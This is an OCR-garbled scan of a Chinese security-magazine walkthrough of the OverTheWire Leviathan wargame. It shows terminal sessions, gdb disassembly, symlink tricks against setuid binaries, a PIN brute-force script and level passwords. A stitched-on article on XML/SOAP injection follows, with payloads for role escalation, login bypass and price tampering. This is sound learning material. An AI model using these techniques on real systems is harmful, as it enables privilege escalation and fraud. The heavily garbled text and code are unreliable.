Please note that wargame usernames are no longer level<X>, but wargamename<X>
e.g. vortex4, semtex2,

Note: at this moment, blacksun is not available.

leviathane@leviathan.labs.overthewire.org's password:
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.18.5-x86_64-1linode52 x86_64)

* Documentation: https://help.ubuntu.com/
Welcome to the OverTheWire games machine !

Please read /README.txt for more information on how to play the levels
on this gameserver.

2 packages can be updated.
2 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in Jusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

leviathane@melinda:~$ [

B 3-31
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EEBF T, FATTLURIL— backup X, #EASCHES, KILT—A html X, FH
FE 2 W0 V0 AR YSCBJE SCAF o TR W 2 05 S 122 2 7E S A LB SO 20 B, FH OCHE S leviathan
AT R, 2RISR . the password for leviathanl is rioGegei8m . 1X1H 8l W 1% 5t /&
EIRAEM 2/, 1 3-3-2:

= =

leviathano@melinda:~$ 11
total 24
drwxr-xr-x 3 root root 4096 5
drwxr-xr-x 167 root root 4096 SEY /
drwxr-x--- 2 leviathani leviathan® 4096 .backup/
-rW-r--r-- 1 root root 220 .bash_logout
-TW-T--r-- 1 root root 3637 .bashrc
-TW-F--r-- 1 root root 675 .profile
leviathane@melinda:~$ cd .backup/
leviathane@melinda:~/.backup$ 11
total 140
drwxr-x--- 2 leviathanl leviathan® 4096 Feb 10 18:08 ./
drwxr-xr-x 3 root root 4096 Nov 14 10:32 ../
1 leviathani leviathan® 133259 Nov 14 10:32 bookmarks.html
leviathano@melinda:~/.backup$S cat bookmarks.html | grep leviathan
<DT><A HREF="http:// .labs.overthewire.org/passwordus.html | This will be fixed
later, the password for 1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="IS
0-8859-1" ID="rdf:#$2wIU71">password to 1</A>
leviathan@@melinda:~/.backup$

K 332
level1->2
fFH L —1 level 321/ 265, ssh 2 F—/ level. 7EIXKM[ home HHIH, HA1EE—
47 check [ty set-uid #2/7, PUTRT, BHERTHATEIR, W 3-3-3:

% - 0O leviathan1@melinda: ~

leviathanli@melinda:~$ 11
total 28
drwxr-xr-x
drwxr-xr-x 16

2 root root 4096 Nov 14 10:32 ./

7 root root 4096 Mar 21 06:46 ..

1 root root 220 Apr 9 2014 .bash_logout
1 root root 3637 Apr 9 2014 .bashrc

1 root root 675 Apr 9 2014 .profile

1 leviathan2 leviathanl 7493 Nov 14 10:32 check*
leviathani@melinda:~5$ . /check

password: ﬁ

K 333
FEFFERBATRN — A0, 00 A FIEZR AN A, 5 R T NOZ 2K AT H 3 A\ A0
HA ML, REHPAT. BEERmA—A, WEgs R, Wk 3-3-4:

leviathanl@melinda:~$ 11
total 28

root root 4096 Nov 14 10:32 ./

root root 4096 Mar 21 06:46 ..
-rW-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-r'W-r--r-- 1 root root 3637 Apr 9 2014 .bashrc

-TW-r--r-- 1 root root 675 Apr 9 2014 .profile
-r-Sr-x--- 1 leviathan2 leviathanl 7493 Nov 14 10:32 check*
leviathanl@melinda:~$ ./check

password: test

Wrong password, Good Bye ...

leviathani@melinda:~$

Kl 3-3-4

BT B/3 120 T E0E: http://t.qq.com/hackcto HARHE: 44 15 H HTRd: ot



(k) —5 B SBE R ‘B 77 M3k : www.hackcto.com & & %05 - HACKCTO-201504-28

iTJF GDB #i4%, BHE'E N EIEZA M4 -4, Wl 3-3-5:

® - 0 leviathan1i@melinda: ~

leviathani@melinda:~$ gdb -q check

Reading symbols from check...(no debugging symbols found)...done.

(gdb) disassemble main

Dump of assembler ceode for function main:
0x0804852d <+0>: push  %ebp
0x0804852e <+1=>: mowv %esp,%ebp
0x08048530 <+3>: and Soxfffffffo,%esp
Ox08048533 <+6>: sub $0x30,%esp
Ox08048536 <+9>: mowv %gs:0x14,%eax
0x0804853c <+15=: mow %eax,0x2c(%esp)
0x08048540 <+19=: Mo Losy Woay
Ox08048542 <+71>: movl $OX786573,0x18(%esp)
0x0804854a <+29>: MOVL  SUX/Z030573,UXZ3(RESp)
Ox08048552 <+37>: moVW $0x7465,0x29(%esp)
Ox08048559 <+44>: movb $0x0,0x2b(%esp)
Ox0804855e <+49=>: mov L $0x646T67,0x1c(%esp)
Ox08048566 <+57=: mowv L $Ox65766T6C,0x20(%esp)
0x0804856e <+65>: movb SOx0,0x24(%esp)
Ox08048573 <+70>: mowvl $0x8048680, (%esp)
OxOBBAB57a <+T7>- rall AvRAARIA ..—.nr'i nf‘F@ln'l t+=
Ox0804857F <+82>: call 0x80483d0 <getchar@plt=>
Ox08048584 <+87=>: mowv %al,0x14(%esp)
Ox08048588 <+91>: call 0x80483d0 <getchar@plt=>
0x0804858d <+96>: mowv %al,0x15(%esp)
0x08048591 <+100>: call 0x80483d0 <getchar@plt>
Ox08048596 <+105>: mowv %al,0x16(%esp)
0x0804859a <+109>: _ movh _ §AxA_Ax17(%esn)
Ox0804859T <+114=>: lea 0x18(%esp) ,%eax
@x080485a3 <+118>: mov %eax ,0x4(%esp)
0x080485a7 <+122>: lea 0x14(%esp),%eax
0x080485ab <+126>: mow %eax, (%esp)
Ox080485ae <+129>: call Ox80483b0 <strcmp@plt=
Ox080485b3 <+134>: test S%eax,%eax
Ox080485b5 <+136>: jne Ox80485c5 <main+152=>
0x080485b7 <+138>: movl $0x804868b, (%esp)
0x080485be <+145>: call 0x8048400 <system@plts
0x080485c3 <+150>: jmp 0x80485d1 <main+164>
Ox080485c5 <+152=>: mowvl $0x8048693, (%esp)
Ox080485cc <+159=: call Ox80483f0 <puts@plt=
0x080485d1 <+164>: mow SOx0,%eax
Ox080485d6 <+169>: mowv Ox2c(%esp) ,%edx
0x080485da <+173>: Xxor %gs:0x14,%edx
Ox080485e1 <+180=>: je Ox80485e8 <main+187>
0x080485e3 <+182>: call 0xB0483e0 <__ stack chk_fail@plt=
Ox080485e8 <+187=>: leave
0x080485e9 ret

K 335
MEFERATAT LLEE Bk, =7 getchar(), f&4H, password M iZ+& =17 4F.
stremp() R — DN SHCR A VM TR G R A Ik, 55— AN Hihk2 0x18(%esp),
FEFF —JFURTEIX HLAE M 7 —/ME 0x786573, ARJE K M bhkE sz 2% N stremp(), AL
FEAE, X Ox18(%esp) it 2 BATH BRI . XAMEIEL 2 sex B+ 8idtdlig R, T2,
REHD 2 sexo HINFRT, 8N — level (%505, 1/ 3-3-6:

leviathani@melinda:~$ . /check

password: sex

S id

uid=12001(leviathanl) gid=12001(leviathanl) euid=12002(leviathan2) groups=12002(leviatha

n2),12001(leviathanl)
$ cat Jetc/leviathan_pass/leviathan2
ougahZi8Ta

K 3-3-6
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level 2 ->3
XA level Y] home HE T, KR set-uid T, PATHEFEIIN SR, @&
T g gdb, WA 3-3-7:

® — o0 leviathanz@melinda: ~

leviathan2@melinda:~%$ 11
total 28
drwxr-xr-x 2
drwxr-xr-x 167 root root 4096 Mar 21 06:46 ..
~rW-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
1
1

root root 4096 MNov 14 10:32 ./

-FW-r--r-- root root 3637 Apr 9 2014 .bashrc
-FW-r--r-- root root 675 Apr 9 2014 .profile
-r-Sr-x--- 1 leviathan3 leviathan2 7498 Nov 14 10:32 printfile*
leviathanz@melinda:~$ ./printfile

*%% File Printer *%*

Usage: ./printfile filename

leviathan2@melinda:~5%

K 337
i gdb TIFRER, XAMER £ R B g ORI ZE A i, AN & 27 R
U%)EH’ Rﬁ*/l\iglﬁ, ﬁﬂ@l 3-3-8:

% — O leviathan2@melinda: ~

(gdb) disassemble main

Dump of assembler code for function main:
Ox0804852d <+0=>: push %ebp
0x0804852e <=+1>: mov %esp,%ebp
0x08048530 <+3>: and SOxFIfFfffo,%esp
Ox08048533 <+6>: sub $0x230,%esp
Ox08048539 <+12>: mov oxc(%ebp) ,%eax
Ox0804853c <+15=>: mov %eax,dxlc(%esp)
0x08048540 <+19>: mov #gs:0x14 ,%eax
Ox0804B546 <+25>: mov %eax,0x22c(%esp)
AxARAARSAN <+372>" xor ¥eax %eax
Ox0804854f <+34>: cmpl $0x1,0x8(%ebp)
Ox08048553 <+38=>: ia 0x804857e <main+81=
0x08048555 <+40>: movl 50x8048690, (%esp)
0x0804855¢Cc =+47>: call 0x80483dO =puts@plt=>
Ox0804B561 <+52>: mov ex1c(%esp),%eax
0x08048565 <+56>: mov (%eax) ,%eax
Ox08048567 <+58=>: mov %eax,0x4(%esp)
0x0804856b <+62>: movl 50x80486a5, (%esp)
Ox08048572 <+69>: call 0x80483b0 <printf@plt=
Ox08048B577 =+74>: mov SOxXFFfFffff,%eax
Ox0804857C <+79>: jmp Ox80485e8 <main+187>
Ox0804857e <+81>: mov Ox1c(%esp) .%eax
Ox08048582 <+85>: add SOx4,%eax
0x08048585 <+88>: mov (%eax),%eax
Ox08048587 =+90>: movl $0x4,0x4(%esp)
0x0804858f <+98>: mowv %eax, (%esp)
Ox086048592 <+101=> call Ox8048420 <access@plt>
Ox08048597 <+106=> test %eax,beax
0x08048599 <+108= je 0x80485ae <main+129=>
0x0804859b <=+110= movl $0x80486b9, (%esp)
0x080485a2 <+117=> call 0x80483d0 <puts@plt=>
Ox080485a7 <+122> mov $0x1,%eax
0x080485ac <+127= jmp 0x80485e8 <main+187=>
0x080485ae <+129= Ox1c(%esp) ,%eax
0x080485b2 =+133=> SOx4,%eax
Ox080485b5 <+136> (%eax) ,%eax
0x080485b7 <+138> %eax,0xc(%esp)
0x080485bb <+142> $0x80486d4,0x8(%esp)
0x080485c3 <+150= SOx1ff,ox4(%esp)
0x080485ch <=+158= ; Ox2c(%esp) ,%eax
Ox080485cf <+162> %eax, (%esp)
Ox080485d2 <+165> 0x8048410 <snprintf@plt>
OXBBP4BLd/ <+1/0> : Ox2c(%esp),%eax
ox080485db %eax, (%esp)
0x080485de 0x80483e0 <system@plt=
OxA80485e X0 %ead
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AT E T T 34ua s, WREAEGHITSEmAN, WITHHEER, AEERE. 2
Ja {81 access()iEAT ST BUR AL T ﬁD%/ﬁfJﬂlﬁ’ MFTENHHEEE R, RERE . 285 FAl
)Eﬁ system() & F3 4T /bin/cat fileinput XA 4, A1 3-3-9:

# -0 leviathan2z@melinda: ~

leviathan2@melinda:~5 ./printfile /etc/fleviathan_pass/leviathan3
You cant have that file...

leviathan2@melinda:~% I

B 3-3-9

H4E access() 1Tt

access() checks whether the calling process can access the file pathname. If **pathname** is a symbolic link, it is

dereferenced.

R BATA BE R 77 5 8 Bk XA BUR A 2 A gdb 1 S I 4 A RS, FATTAT LAAS 21,
FEFPAE AT B 6 2 AT S HUIE T /bin/cat argv[ 11X P47, SRJFIEN system ()IX 4> Bk
7. TRIENEHE ?UT’]L_JXA—/\??‘?$/bm/cat</etc/IeV|athan pass/leviathan2. iXFERLAT DL
WA RR A, RIERBEN . Mig A3y, 4 u<file, Hit— MRS58,
file->/etc/leviathan_pass/leviathan2

X, RGEIATAUSRALE s, RS2 2 <file XA SO HIALER , (EZ AT iy 2 BB 0
#&/bin/cat < file IX N4, WK 3-3-10:

#® - 0 leviathan2z@melinda: /tmp/level2

leviathan2@melinda: /tmp/level2$ 1n -s Jetc/leviathan_pass/leviathan3 file
leviathan2@melinda: /tmp/level2$ touch \<file

leviathan2@melinda: /tmp/level2s 11

total 1100

d rwX rwxXrwx 2 leviathan2 leviathan2 4096 Mar 21 11:10 [/

drwxrwx-wt 1509 root root 1118208 Mar 21 11:10 [/

-TW-TW-T-- 1 leviathan2 leviathan2 0 Mar 21 11:10 <file

Lrwx rwxrwx 1 leviathan2 leviathan2 30 Mar 21 11:10 file -> fetc/leviathan_pass/1
eviathan3

leviathan2@melinda: /tmp/level2s ~/printfile \=<file

hdiemoolj

leviathan2@melinda: /tmp/level2$s I

B 3-3-10

level 3->4
3‘57\%— | set-uid ‘*E‘ijr?f %?}ﬁﬂ%iﬁ@y TT%%%F?7 %EE%%B/I\/J\‘I\%7 ﬁulgl 3-3-11:
(@@ leviathan3@melinda: ~
leviathan3@melinda:~$ 11
total 32

root root 4096 21 06:46 ./

root root 4096 21 06:46 ../

root root 220 9 2014 .bash_logout
root root 3637 9 2014 .bashrc

root root 675 9 2814 .profile
leviathan4 leviathan3 9962 21 06:46 level3*
leviathan3@melinda:~$ ./level3
Enter the password=> hello,world
bzzzzzzzzap. WRONG
leviathan3@melinda:~$ I

K 3-3-11

R gdb BN, W 3-3-12:
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eviathan3@melinda:~$S gdb -q level3

Reading symbols from level3...done.

(gdb) disassemble main

Dump of assembler code for function main:
0x080485fe <+0>: push %ebp
0x080485ff <+1>: mov %esp ,%ebp
Ox08048601 <+3>: and Soxfffffffo,Xesp
Ox08048604 <+6>: sub SOx50 ,%esp
Ox08048607 <+9>: mov %gs:0x14 ,%eax
Ox0804860d <+15>: mov %eax ,0x4c(%esp)
Ox08048611 <+19>: xor %eax ,¥%eax
Ox08048613 <+21>: movl SOx626d6762,0x23(%esp)
Ox0804861b <+29>: movVwW SOx6461,0x27(%esp)
0x08048622 <+36>: movb SOx0,0x29(%esp)
Ox08048627 <+41>: movl SOx732e2e2e,0x38(%esp)
Ox0804862f <+49>: movl $SOx33726333,0x3c(%esp)
Ox08048637 <+57>: movw SOx74,0x40(%esp)
Ox0804863e <+ 54>: movl SOx6f6e3068,0x2a(%esp)
Ox08048646 <+72>: mMOVW $0x3333,0x2e(%esp)
0x0804864d <+79>: movb SOx0,0x30(%esp)
Ox08048652 <+34>: movl SOx616b616b ,0x31(%esp)
Ox0804865a <+32>: movw SOx616b,0x35(%esp)
Ox08048661 <+39>: movb SOx0,0x37(%esp)
Ox08048666 <+104>: movl SOx2e32332a,0x42(%esp)
Ox0804866e <+112>: movl SOx785b2a32,0x46(%esp)
Ox08048676 <+120>: movw S0x5d,0x4a(%esp)
Ox0804867d <+127>: lea Ox31(%esp) ,%eax
Ox08048681 <+131>: mov %eax,0x4(%esp)
Ox08048685 <+135>: lea Ox2a(%esp) ,%eax
Ox08048689 <+139>: mov %eax, (%esp)
Ox0804868Cc <+142>: call 0x80483d0 <strcmp@olt>
Ox08048691 <+147>: test ¥eax ,¥eax
OX08048693 <+149>: jne 0x804869d <main+159>
Ox08048695 <+151>: movl S0x1,0x1c(%esp)

A 3312
X stremp() s ECY 2 BT BR, SPF208 7 TIRIE, £E main() i A — A
do_stuff() ek #eif ., AR R R ROZ AL XA s B T, A 3-3-13:

er =
gdb) disassemble do_stuff

pump of assembler code for function do_stuff:
Ox0804854d <+0>: push %ebp

0Ox0804854e <+1>: mov %esp,%ebp

Ox08048550 <+3>: sub SOx128,%esp

Ox08048556 <+9>: mov %¥gs:0x14,%eax

0x0804855¢Cc <+15>: mov %eax, -0xc(%ebp)
0x0804855f <+18>: xor %¥eax ,%eax

Ox0804856. <+20>: movl SOXx706c6e73,-0x117(%ebp)
0x0804856h <+30>: movl SOX746e6972,-0x113(%ebp)
OXx0804857% <+40>: movw SOxa66, -0x10f (%ebp)
Ox0804857¢ <+49>: movb SOx0,-0x10d(%ebp)
Ox0804858L <1581 A% 1884383 %ok
Ox0804858a <+61>: mov %eax ,0x8(%esp)
Ox0804858e <+65>: movl S0x100,0x4(%esp)
Ox08048596 <+73>: lea -0x10c(%ebp) ,%eax
Ox0804859¢ <+755. MoV meax, (mesp)

Ox08048597 <+82>: call Ox80483f0 <fgets@plt>
Ox080485a34 <+87>: lea -0x117(%ebp) ,%eax
Ox080485aa <+93>: mov %eax,0x4(%esp)
Ox080485a¢ <+97>: lea -0x10c(%ebp) ,%eax
0x080485b4 <+103>: mov %eax, (¥%esp)

Ox080485b" <+106>: call 0x80483d0 <strcmp@plt>
Ox080485bC <+111>: Test %eax,%eax

0x080485be <+113>: jne 0x80485da <do_stuff+141>
Ox080485cO <+115>: movl SOx8048760, (¥esp)
Ox080485Cc7 <+122>: call AxRA4AR4A1A <puts@nlt>
Ox080485cc <+127>: movl S0x8048774, (%esp)
0x080485d3 <+134>: call 0x8048420 <svstem@olt>
0x080485d8 <+139>: jmp 0x80485e6 <do_stuff+153>
0x080485da <+141>: movl

& 3-3-13
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A LAE S, 1E do_stuff() B A stremp()Fl system()Z5ELER, stremp()HIH A —ANs2skH T
fgets(\ RN HIR IR, H— NS A ETE-0x117(%ebp), MEIFH AT CLE HSR, FAE7E
-0x117(%ebp) 1 ZHsl 2 F5 UL AL M &, #1 K 3-3-14:

UxUstigabss>dd eve
: x/51 Seip
@x80485aa <do_stuff+93>: %eax ,0x4(%esp)
Ox80485ae <do_stuff+97=: -0x10c(%ebp) ,%eax
0x80485b4 =<do_stuff+103>: %eax, (%esp)
Ox80485b7 <do_stuff+106=>: Ox80483d0 <strcmp@plt=>
Ox80485bc <do_stuff+111>: %eax,%eax

(gdb) info r eax

eax axffffd441

(gdb) x /s exffffd44a1

axffffd44l: "snlprintf\n"
gdb) | |

K 3-3-14
B AR, Bl IS shell, ##MEE T — level K215, W& 3-3-15:

® - 0 l|eviathan3@melinda: ~

-

eviathan3@melinda:~S ./level3
Enter the password= snlprintf
[You've got shell]!
5 id
id=12003(leviathan3) gid=12003(leviathan3) euid=12804(leviathan4) groups=12004(

eviathan4),12003(1leviathan3)
5 cat /etc/leviathan_pass/leviathan4
uH@coox6m

K 3-3-15
level 4 ->5

LFIE, X —A> level HSCAFAE trash SCHFRH T, RIHRMERIGAE, Q1A 3-3-16:

% - 0 leviathand@melinda: ~/.trash

leviathan4@melinda:~5 11

total 24

drwxr-xr-x 3 root root 4096 Nov 14 10:32 ./
drwxr-xr-x 167 root root 4096 Mar 21 06:46 ../
-rw-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rW-r--r-- 1 root root 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 root root 675 Apr 9 2014 .profile
dr-xr-x--- 2 root leviathan4 4096 Nov 14 10:32 .trash/
leviathan4@melinda:~$ cd .trash/

leviathan4@melinda:~/.trash$ 11

total 16

dr-xr-x--- 2 root leviathand 4096 Nov 14 10:32 ./
drwxr-xr-x 3 root root 4096 Nov 14 1@:32 ../
-r-sr-x--- 1 leviathan5 leviathand4 7425 Nov 14 10:32 bin*
leviathan4@melinda:~/.trash$ ./bin

01010100 01101001 01110160 01101000 00110100 01100011 01101111 61101611 61100101 0116100
1 00001010

leviathan4@melinda:~/.trash$ I

K 3-3-16
MR A, MNiZa B sk a7, siE RN 2 R kR, X
LR B gdb RIS T, K 3-3-17:
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#% — 0 leviathand@melinda: ~/.trash

Dump of assembler code for function main:
0x080484cd <+0>: push %ebp
Ox080484ce <+1>: mov %esp,%ebp
Ox080484d0 <+3>: push %ebx
Ox080484d1 <+4>: and SoxfFfffffo,%esp
0x080484d4 <+7>: sub $0x20,%esp
Ox080484d7 <+10>: movl $0x8048650,0x4(%esp)
Ox080484df <+18>: movl $0x8048654, (%esp)
Ox080484e6 <+25>: call 0xB80483b0 <fopen@plt>
Ox080484eb <+30>: mov %eax,0x1lc(%esp)
Ox080484ef <+34>: cmpl $0x0,0x1c(%esp)
Ox080484fT4 <+39>: jne Ox8048500 <main+51=
0x080484f6 <+41>: mov SOxFIFfffff.%eax
Ox080484fb <+46>: jmp OxBO485ae <main+225>
0x08048500 <+51>: mov Ox1c(%esp),%eax
0Xx08048504 <+55>: mov %eax,0x8(%esp)
Ox08048508 <+59=: movl $0x100,0x4(%esp)
Ox08048510 <+67=>: movl $0x804a060, (%esp)
OX08048517 <+74>: call 0x8048370 <fgets@plt>
Ox0804851c <+79>: movl $0x0,0x14(%esp)
Ox08048524 <+B7>: jmp OxB8048589 <main+188>
Ox08048526 <+89>: mov ox14(%esp) ,%eax
0x0804852a <+93>: add 50xB804a060,%eax
Ox0804852f <+98>: movzbl (%eax),%eax
Ox08048532 <+101=>: mov %al,ox13(%esp)
Ox08048536 <+105=: movl $0x0,0x18(%esp)
Ox0804853e <+113=: jmp Ox8048571 <main+164=>
Ox08048540 <+115>: cmpb $0x0,0x13(%esp)
Ox08048545 <+120>: jns OxBO48555 <main+136>
Ox08048547 <+122>: movl $0x31, (%esp)
Ox0804854e <+129=: call Ox80483cH® <putchar@plt=
Ox08048553 <+134=: jmp Bx8048561 <main+148=>
Ox08048555 <+136>: movl $0x30, (%esp)
Ox0804855C <+143=>: call OxB80483cO <putchar@plt=
Ox08048561 <+148>: movsbl @x13(%esp),%eax
Ox08048566 <+153=: add %eax ,¥eax
Ox08048568 <+155>: mov %al,ox13(%esp)
Ox08048B56C <+159>: addl $0x1,0x18 sp)
Ox08048571 <+164=>: cmpl $0x7,0x18(%esp)
Ox08048576 <+169=>: jle 0x8048540 <main+115>
Ox08048578 <+171=>: MUV L SORZT, (mESP )
Ox0804857F <+178>: call OxB0483cO <putchar@plt>
Ox08048584 <+1B3>: addl $0x1,0x14(%esp)
Ox08048589 <+188>: mov 0x14(%esp) ,%ebx
Ox0804858d <+192=: movl $0x804a060, (%esp)
Ox08048594 <+199=: call Ox8048390 <strlen@plt=>

---Type <return= to continue, or q <return= to quit---

3-3-17
MG RS, FATATE R, BB/, Wsh (RS0 JHaiT5,
B — T 0 BUE TR 1, FTUAT USR], 1% bin B RKE SRS AT RN
el Xt . BB %, FEPZEURH fopen("/etc/leviathan_pass/leviathan5", "r")
FORHgR B R R, SEORRTCIEAT . Bk, BEEREENFRGENRIERITAET, R
RES AR, ACERFEF I T

#!/usr/bin/env python
#coding=utf-8

n "

if _name__=="_main__":

try:

fp = open("log.txt", "r")
except:

print "file open error"
foriinrange(12):

byte = fp.read(9).strip()

value = (int(byte, 2)) & OxFF
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#print value
char = chr(value)

print char,

python IS HHEAR—T fi I, SEAERKAMEAZ, Wk 3-3-18:

# — 0O leviathan4@melinda: femp/trash

leviathan4@melinda: /tmp/trashS vim reverse.py
leviathand4@melinda: /tmp/trashS ./reverse.py

Tith4acokelil

leviathan4@melinda: /tmp/trashs |}

Kl 3-3-18
TS TR D R B IEF B 1.
level 5->6
EFEAERTRE, PERRIE, Wk 3-3-19:
% — 0O leviathan5@melinda: ~

leviathan5@melinda:~-$ 11

total 28

drwxr-xr-x 2 root root 14 10:32 ./f
drwxr-xr-x 167 root root 21 06:46 ../
-TW-r--r-- 1 root root 9 2014 .bash_logout
-rw-r--r-- 1 root root 9 2014 .bashrc
-rw-r--r-- 1 root root 9 2014 .profile

-r-sr-x--- 1 leviathan6é leviathan5s 14 10:32 lewviathan5*
leviathan5@melinda:~% . fleviathan5

Cannot find ftmp/file.log

leviathans@melinda:~5%

K 3-3-19
BLF-/tmp/file.log XA EB AL E] TREFH T, EREEREXMEF KM V4%
1, W 3-3-20:

@ — o0 leviathanS@melinda: ~

leviathans@melinda:~-%$ gdb -gq lewviathans

Reading symbols frem leviathan5...({(noc debugging symbols found)...done.

{gdb) disassemble main

Dump of assembler code for function main:
oxes80485ed push webp
Ox080485ee 2
exes0485Te sexfffffffe . ,xesp
0x080485T3 S0x20 ,%esp
Ox088485T6 $SOX8048720 ,0x4(%esp)
ox888485Fe SOxBOABT22, (%esp)
OxX08048605 0x80484be <fopen@plt=
Ox0804860a #eax,0xlc(%esp)
Ox0804860e SOx0 ,0x1lc(%esp)
Ox08048613 jne Ox804862d <main+64=
Ox08048615 SOx8048730, (%esp)
Ox0804861C Ox8048460 <puts@plt=
Ox08048621 SOxTFFFTFffff, (Besp)
Ox08048628 Ox8048480 <exit@plt=>
oxos804862d b
Ox08048631 2 =
Ox08048634 ox80484d
Ox08848639 %al,ox1b(%esp)
Ox0804863d exlc{(%esp) ,%eax
Ox08048641 ¥eax , (¥esp)
Ox08048644 Ox8048490 <feof@plt>
Ox08048649 € Beax , Beax
exe804864b ] Ox804864Ff <main+98=>
Ox0804864d j Ox804865e <main+113>
ex0804864T ax1lb{%esp) ,%eax
Ox08048654 weax, ( sp)
Ox08048657 & ex80484ce® =<putchar@plt=
Ox0804865C ox804862d <main+64=
OxX0804865e Oxlc(%esp) ,%eax
Ox08048662 %eax, (¥esp)
Ox08048665 ax8048430 <fclose@plt>
Ox0804866a Ox8048440 <getuid@plt=>
Ox0804866T %eax, (Besp)
Ox08048672 Ox80484e@ <setuid@plt>
Ox08048677 SOx8048722, (%esp)
Ox0804867e @x8048450 =<unlink@plt=>
Ox08048683 SOx0,%eax
Ox08048688

End of assembler dump.
(gdb) x /s ©Ox8048722
"SEtmp/file.log™

K 3-3-20
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TSRS T FRFF ik T SR TE AR TR — /M 1 B S R S 0
PR, RIUBREIN T, W 3-3-21

1&viéthan5@melinda:~$ 1n -s Jetc/leviathan_pass/leviathan6é [tmp/file.log
leviathan5@melinda:~% . /leviathans
(UgaoFee4li

leviathan5@melinda: £
K 3321

LGP, IX—A level SEAER A mIT BT |

level 6 -> 7

MEHE, XA level BIFA A —FERIRIE, HRIER BRI, K 3-3-22:

'@ - o leviathans@melinda: ~

leviathans@melinda:~-5 11
total 28
drwxr-»xr-x root root 4096
root root 4096 ==
root root 220 .bash_legout
root root 3637 .bashrc
-rw-r--r-- root root 675 .profile

~r=-sSr-»x--- leviathan7 leviathané 7484 leviathane=*
leviathans@melinda:~5 ./leviathané

usage: ./[fleviathané <4 digit code>

leviathané@melinda:~-5%

B 3-3-22
XH, XA set-uid FEF 75 Ef N — 4 digit code, S LM gdb IC4 1, fbiHtA
KU, NAZ T IRE, T s R R pEIE,

#!/usr/bin/env python
#coding=utf-8
import os
for pincode in range(10000):
cmd = "~/leviathan6 %04d" %(pincode)
# for debug
#print "test %s" %(cmd)
ret = os.popen(cmd).read()
if ret.find("Wrong") == -1:

print "maybe success in %s" %(cmd)

FRFEAE 7123 I E S IE T, AR MA T shell X T . 287 —F, RREXFER, W
K| 3-3-23

test ~/leviathané 7120
test ~/leviathané 7121
test ~/leviathané 7122
test ~/leviathan6é 7123
ACTraceback (most recent call last):
File "./leviathan6", line 92, in <module=
ret = os.popen(cmd).read()

KeyboardInterrupt

leviathané@melinda: /tmp/brute$ ~/leviathan6 7123

S id

uid=12006(leviathan6) gid=12006(1leviathan6) euid=12007(leviathan?) groups=12007(leviatha
n7),12006(leviathané)

$ cat Jetc/leviathan_pass/leviathan7

-ahy7MaeBo9

K 3-3-23
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level 7
ssh &3] level 7, W& 3-3-24:

% - 0 leviathan7@melinda: ~

leviathan7@melinda:~S 11

total 24

drwxr-xr-x 2 root root 4096 Nov 14 18:32 ./

drwxr-xr-x 167 root root 4096 Mar 21 06:46 ../

-rW-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rW-r--r-- 1 root root 3637 Apr 9 2014 .bashrc
-MW-r--r-- 1 root root 675 Apr 9 2014 .profile
-F--r----- 1 leviathan7 leviathan7 178 Nov 14 10:32 CONGRATULATIONS

leviathan7@melinda:~$ cat CONGRATULATIONS

Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you
D]

leviathan7@melinda: ~S I

K 3-3-24
GFIE,  FRAEE N TIR— B, A HIXA writeup 1. EIAIRIR I AN |
end
Bingo! X/~ wargame BUXFFLEW [, M HBSCHERI L, AN VT, FEE
2.3t wargames. 5% KT wargames {5 £, 155 http://overthewire.org/wargames/!
(B35 fEdmiE: #Ek

BT ZEIKR

F1H XML Z4EZ Web Services

fE#&: LN.

KH: LRARE - WooYun

M4E:  http://drops.wooyun.org/

35

HUBCHT AR B 2] T TRS I RS, B RE] T ws (Web Services &#8) FIFHKRHE A AA
BUEE—A o TG 5 PRI S0t ws HEN T8 IR 22, 5 k% B B 50 W— L% app 45 A
YL IAE OGB48 I XML A SGIRTR, TR A K BERMIH AR 5, an SR s0 v B
w, EFRIE.

4% Ws

Web Service (WS) 2T WK 73 An EPBIACAN: . B REIAT R E AESS, i sr 2 AR
PIEARITE, XEEHTEAETS Web Service g5 HARM A L3472 HHAE. Web Services
FIFH SOAP Fll XML XX LA R AR tHOT AR 1 — DI R, DATH BRFEHR T S (1) Fi
Web Services EEFIH] HTTP Il SOAP HHill {55 H i 7E Web EAL%T, SOAP Jfid HTTP i
8K RIATIEAE TR, Web H 7 e A8 H] SOAP FT HTTP Jdid Web 8 I ¥ 72k A
RN R o

fETHL R 5 WS HEs2 http+XML, WS P& JCEA: SOAP. UDDI. WSDL.

xml ¥EA (soap FEA)

U A H— R g5, w2 TR AN EEAL, WA RIS .
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TH5 1:

plEIE

<?xml version="1.0" encoding="UTF-8"?>

<USER role="guest">attacker's code</USER>

poc:

A</USER><USER role="admin">B

155 2:

eI, P 5-1-1:

<soapeny : Header>

</soapenv : Header>

<spapeny : Body>

awebl:Login xmlns:webl="http://ws.example.com/ ™>
<fnome= Joe </fnames

<lname> Johnson </lnames

<password> hacking_isfun </passwords
</webl:Login-

</soapenv : Body>

</spapenv : Emvelopes

K 5-1-1

B TR, I IR BRI loginid 1N ERERIWT, Wik 5-1-2:

Error at line 66: Iname == null |l loginid

loginid cannot be null

drops.wooyun.org
5-1-2
Poc, Il 5-1-3:
<soapeny: Emvelope xmlns:soapemv="http://schemas . mlsoap.org/soap/envelopes/™ xmlns:web="web: ">
<spapeny :Header>
</soapenv : Header>
<soapeny : Body>
<webl:Login xmlns:webl="http://ws.example. com/™>
<fnome> Joe </fname>

<password= hacking_isfun </passwords
<loginid> 1 </loginid>
</webl:Login

</soapenv: Body>

</soapenv: Envelopes
5-1-3
2t bypass B, 1 5-1-4:
- i .
User: Admin
5-1-4
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T35t 3:

<transaction>
<total>6000.00<total>
<credit_card_number>12345</credit_card_number> //12345 1% # di<total> fr45
<expiration>01012008</expiration>

</transaction>

Poc:

12345</credit_card_number><total>1.00</total><credit_card_number>12345

